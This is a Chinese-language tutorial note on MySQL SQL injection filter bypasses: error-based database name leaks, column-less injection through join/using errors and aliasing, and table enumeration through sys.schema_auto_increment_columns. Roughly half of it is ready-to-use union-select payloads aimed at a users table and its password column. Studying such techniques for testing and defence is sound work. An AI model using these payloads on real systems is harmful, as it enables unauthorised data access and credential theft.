0x00 当过滤了as时:
也就代表database()无法使用,无法查询数据库信息
- 换思路获取库名,利用报错:
-1' || (select*from aa)#
-1'or(select*from aa)#
//aa为不存在的表名
报错回显中直接给出了数据库的名字。
- 利用schema(mysql特性),记录了所有数据库的信息在information_schema.schemata中
0x01 当column被过滤的无列名注入
- 使用join报错得列名:
原理:通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 using 表达式挨个包含查询每一列,实现列的转移。
常规爆字段名操作:
获取第一列的字段名及后面每一列字段名:
?id=-1' union select*from (select * from users as a join users as b)as c--+
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。
- 通过起别名的方式:
select 1,2,3,4,5 union select * from users;
无列名注入关键 就是要猜测表里有多少个列,要一一对应上,上面例子是有4个列
1,2,3,4的作用就是对列起别名,替换为后面无列名注入做准备
例如知道第三列代表的password,直接对第三列进行查询
当反引号(`)被禁用时,就可以使用起别名的方法来代替
select b from (select 1,2, 3 as b ,4 union select * from users)as a;
在注入时同时查询多个列
select group_concat(b,c) from (select 1,2, 3 as b , 4 as c union select * from users)as a;
0x02 利用sys.schema_auto_increment_columns 新特性
在mysql>=5.7版本中,新增了sys.schema_auto_increment_columns 属性,用于自动记录对表自增id的监控; 例如对于一个数据库表中存在的id列,若是设置为int型且自增则会记录于sys.schema_auto_increment_columns中,其中包括了数据库名称等内容,从另一方面绕过了对information_schema的过滤
限制条件:
mysql ≥ 5.7版本
一般需超级管理员才可以访问sys
爆表名常规操作:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
参考链接:
information_schema过滤与无列名注入_paidx0的博客-CSDN博客